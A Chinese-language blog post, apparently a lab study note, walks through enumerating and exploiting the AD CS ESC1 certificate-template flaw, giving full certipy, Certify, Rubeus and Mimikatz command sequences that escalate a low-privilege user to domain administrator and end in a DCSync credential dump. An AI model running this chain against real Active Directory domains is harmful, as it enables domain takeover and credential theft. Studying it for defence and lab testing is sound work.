ADCS-ESC1枚举和利用
原创
Jzhoucdc
Jzhoucdc
攻防之路JZhoucdc
2026年6月11日 15:34
上海
在小说阅读器读本章
去阅读
总结一下关于ESC1的学习。
ESC1证书模板允许在证书请求中指定与请求者不同的主体备用名称(SAN)。这意味着低权限用户可以请求一张证书,并在 SAN 字段中填入高权限账户(如 Administrator)。
Linux枚举和攻击:
枚举:
certipy find -u '[email protected]' -p 'Password123!' -dc-ip 10.129.17.224 -vulnerable -stdout
ESC1 漏洞的 5 个判定条件: | 条件 | 值 | 含义 | | --- | --- | --- | | Enrollment Rights | LAB.LOCAL\\Domain Users | 域用户都有注册权限,低权限账户也能申请证书 | | Requires Manager Approval | False | 不需要管理员审批,证书自动颁发 | | Authorized Signature Required | 0 | 不需要授权签名 | | Client Authentication | True 或 EKU 为 Client Authentication | 证书可用于客户端身份验证 | | Enrollee Supplies Subject | True | 申请者可以自己指定主题(包括 SAN 字段) |
利用:
1. 申请证书
使用 certipy 请求证书,具体操作是使用 req 选项请求证书,并使用 -upn选项指定要包含的替代主体(此处为 Administrator):
certipy req -u '[email protected]' -p 'Password123!' -dc-ip 10.129.17.224 -ca lab-LAB-DC-CA -template ESC1 -upn Administrator
2.证书认证
使用PFX 文件来向域服务进行身份验证。这样系统会根据证书中的身份信息为你签发会话或票据。
certipy auth -pfx ./administrator_dc1.pfx -username administrator -domain lab.local -dc-ip 10.129.17.224
3.登录利用
要进行身份验证,我们可以使用保存在 administrator.ccache 中的 TGT。或者 Administrator 账户的 NTLM哈希。
3.1 使用NTLM哈希连接DC
3.2使用TGT连接DC:
Windows平台枚举和攻击:
枚举:
Windows 系统上使用 Certify.exe 工具可以检测 AD CS(Active Directory Certificate Services)的漏洞。与 Python 版本(如 certipy)不同,Windows 版无需手动输入凭证,因为它会自动从当前运行会话中获取凭证。
Certify.exe find /vulnerable
攻击:
要滥用此证书,需在请求中包含替代 SAN(Subject Alternative Name),并使用以下参数:
request:请求证书/ca:<CA NAME>:指定 ADCS 服务器/template:<Template Name>:设置要滥用的证书模板/altname::指定要冒充的账户(即替代主题)
Certify.exe request /ca:LAB-DC.lab.local\\lab-LAB-DC-CA /template:ESC1 /altname:[email protected]
证书已经申请到了,现在用 OpenSSL 把它打包成 .pfx,方便后续用证书登录提权。
*用生成的证书,通过 Rubeus 去认证请求一个Administrator身份的TGT票据:*
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
成功根据证书获取 NTLM 哈希和base64 ticket,现在有2个路径,用NTLM哈希或者是base64 票据进行后续的利用。
DCSync 攻击
使用 Rubeus 工具创建一个牺牲登录会话(Sacrificial Logon Session),以便后续执行 Pass the Ticket传递票据:
Rubeus.exe createnetonly /program:powershell.exe /show
然后在生成的新powershell终端进行传递票据攻击
Rubeus.exe ptt /ticket:doIGQjCCB....
现在powershell进程有了Administrator的TGT,意味着我们有了管理员的权限。然后使用Mimikatz 执行 DCSync 攻击。
Set-ExecutionPolicy Bypass -Scope CurrentUser -ForceImport-Module .\\Invoke-Mimikatz.ps1Invoke-Mimikatz -Command '\"lsadump::dcsync /user:lab\\Administrator\"'
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论